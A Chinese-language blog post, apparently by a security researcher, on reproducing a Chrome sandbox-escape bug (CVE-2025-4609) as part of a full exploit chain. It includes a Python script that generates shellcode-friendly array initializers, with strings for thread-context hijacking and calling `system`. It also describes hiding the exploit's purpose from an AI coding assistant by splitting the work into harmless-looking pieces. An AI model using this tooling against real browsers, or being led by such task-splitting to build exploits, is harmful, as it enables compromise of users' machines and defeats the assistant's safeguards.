最近最有趣的成果是复现了cve-2025-4609, 这个漏洞可以在渲染器进程获取一个browser线程的句柄, 结合前面两篇的v8的洞, 达到了完整120-132左右的chrome利用链.
这个洞一开始看感觉复现起来的难度十分的大, 作者给出的poc是在renderer进程源码层面的patch, 但正常打renderer进程拿到的是任意shellcode执行, 更何况chromium的源码是cpp, 那在shellcode层面去复现的难度就更大了.

Trick1

我就掏出了之前玩hook sshd的小技巧, 主体用c写, 最后再编译成shellcode. 这样就省力很多了. 甚至很多时候还可以直接#include "Windows.h"来引用windows的结构体, 不需要自己实现
但要注意的一点是static变量不能用, 我只注入了.text段的代码, 而static变量处在data段. 另外像是一些大数组的初始化, 编译器通常会将其优化成memcpy, 从data段复制过来需要的数据, 这也需要避免. 我的方法是让ai给我搓了一个辅助脚本builtin_arrays.py, 随后脚本会辅助生成手动初始化大数组的函数.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
import subprocess
from collections.abc import Sequence
from pathlib import Path
from tempfile import TemporaryDirectory
from pwn import context
from builtin_command import command_s

context.update(os="windows", arch="amd64", bits=64)


class AsmSource:
def __init__(self, source: str):
self.source = source


class Definitions:
def __init__(self):
self._entries = {}
self._order = []

def __setattr__(self, name, value):
if name.startswith("_"):
super().__setattr__(name, value)
else:
self._entries[name] = value
if name not in self._order:
self._order.append(name)

def items(self):
for name in self._order:
yield name, self._entries[name]

def assemble_code(source: str) -> list[int]:
asm_source = "\n".join(
[
".intel_syntax noprefix",
".text",
".globl asm_entry",
"asm_entry:",
source,
"",
]
)

with TemporaryDirectory() as temp_dir:
temp_path = Path(temp_dir)
asm_path = temp_path / "snippet.s"
obj_path = temp_path / "snippet.obj"
bin_path = temp_path / "snippet.bin"

asm_path.write_text(asm_source, encoding="ascii")
subprocess.run(
[
"clang",
"-c",
"-target",
"x86_64-pc-windows-msvc",
str(asm_path),
"-o",
str(obj_path),
],
check=True,
capture_output=True,
text=True,
)
subprocess.run(
[
"llvm-objcopy",
f"--dump-section=.text={bin_path}",
str(obj_path),
],
check=True,
capture_output=True,
text=True,
)
return list(bin_path.read_bytes())



defs = Definitions()

defs.byte_data = [
0x18, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5C, 0x60, 0xD6, 0x45, 0x6D, 0xC7, 0xF3, 0xF1,
0x3D, 0x6D, 0xFE, 0xFC, 0xBD, 0xFE, 0x91, 0x92,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x38, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00,
0x18, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5A, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x28, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x10, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
]
defs.pe_header = "is program"
defs.ntdll_s = "ntdll.dll"
defs.kernelbase_s = "KERNELBASE.dll"
defs.ucrtbase_s = "ucrtbase.dll"
defs.NtAllocateVirtualMemory_s = "NtAllocateVirtualMemory"
defs.NtProtectVirtualMemory_s = "NtProtectVirtualMemory"
defs.NtQueryObject_s = "NtQueryObject"
defs.SuspendThread_s = "SuspendThread"
defs.ResumeThread_s = "ResumeThread"
defs.GetThreadContext_s = "GetThreadContext"
defs.SetThreadContext_s = "SetThreadContext"
defs.system_s = "system"
defs.command_s = command_s

def normalize_var_value(var_value: Sequence[int] | str | AsmSource) -> list[int]:
if isinstance(var_value, AsmSource):
return assemble_code(var_value.source)
if isinstance(var_value, str):
return [ord(ch) for ch in var_value] + [0]
return [int(value) & 0xFF for value in var_value]


def define_var(var_name: str, var_value: Sequence[int] | str | AsmSource) -> list[str]:
values = normalize_var_value(var_value)
lines = [
f"// {var_name} length as uint8_t[]: {len(values)}",
"static MINISIZE void",
f"init_{var_name} (uint8_t *{var_name})",
"{",
f" uint64_t *{var_name}_u64 = (uint64_t *){var_name};",
]

full_chunks = len(values) // 8
for chunk_idx in range(full_chunks):
offset = chunk_idx * 8
chunk = values[offset : offset + 8]
chunk_value = 0
for byte_idx, value in enumerate(chunk):
chunk_value |= value << (byte_idx * 8)
lines.append(f" {var_name}_u64[{chunk_idx}] = 0x{chunk_value:016X}ULL;")

for idx in range(full_chunks * 8, len(values)):
lines.append(f" {var_name}[{idx}] = 0x{values[idx]:02X};")

lines.extend(
[
"}",
]
)
return lines

def render_header(definitions: Definitions) -> str:
lines = [
"#ifndef ARRAYS_H",
"#define ARRAYS_H",
"",
"#include <stdint.h>",
"",
]

for idx, (var_name, var_value) in enumerate(definitions.items()):
if idx:
lines.append("")
lines.extend(define_var(var_name, var_value))

lines.extend(
[
"",
"#endif",
"",
]
)
return "\n".join(lines)

def main() -> None:
out_path = Path(__file__).with_name("arrays.h")
out_path.write_text(
render_header(defs),
encoding="ascii",
)

if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
// system_s length as uint8_t[]: 7
static MINISIZE void
init_system_s (uint8_t *system_s)
{
uint64_t *system_s_u64 = (uint64_t *)system_s;
system_s[0] = 0x73;
system_s[1] = 0x79;
system_s[2] = 0x73;
system_s[3] = 0x74;
system_s[4] = 0x65;
system_s[5] = 0x6D;
system_s[6] = 0x00;
}

再后来我要考虑的就是用c的inline hook, 去把renderer进程内的函数按照作者给出的源码patch一点一点还原. 但也有一些是不需要还原的, 例如判断是否在renderer进程内(因为实际攻击场景我们拿到的肯定是renderer)

Trick2

另一个比较大的困难就是如何用c去还原和实现cpp的代码, chrome里面复杂的cpp对象一大堆, 人工去确定这个cpp对象然后塞到c结构体里面感觉不太现实.
于是我选择了ai一把梭, 让ida加载chrome.dll, 并且通过ida-no-mcp导出结果, 让codex读代码和ida解析的二进制结构体偏移, 并且把大部分用到的cpp函数和对象全部用c重写一遍.
这样我们用c手搓了chrome里面的一些cpp对象, cpp的函数调用倒还好, 有些简单的函数(比如getter方法)我也让codex实现了.
但某些cpp函数过于复杂, 没必要自己实现, 计算好该函数偏移, 强制跳转到chrome.dll里面对应实现就可以了. 还遇到一些问题, 比如内联的函数我没法直接调用, 于是只好让codex再多实现一层, 只留下非内联的函数不实现, 由我来找偏移并且手动跳转.

还有个小巧思是当时codex的道德限制比较严格, 于是我只是让他自己用c来实现一遍我需要的部分代码, 最后我再整理进我的exp. 所以codex从头到尾都不知道他其实在帮我打洞(笑.

Trick3

顺带一提在后续做适配的时候, 为了自动化的拉取制定版本的chrome.dll和chrome.dll.pdb, 开了一个新的chrome_version2dll, 有一些自动脚本, 欢迎使用XD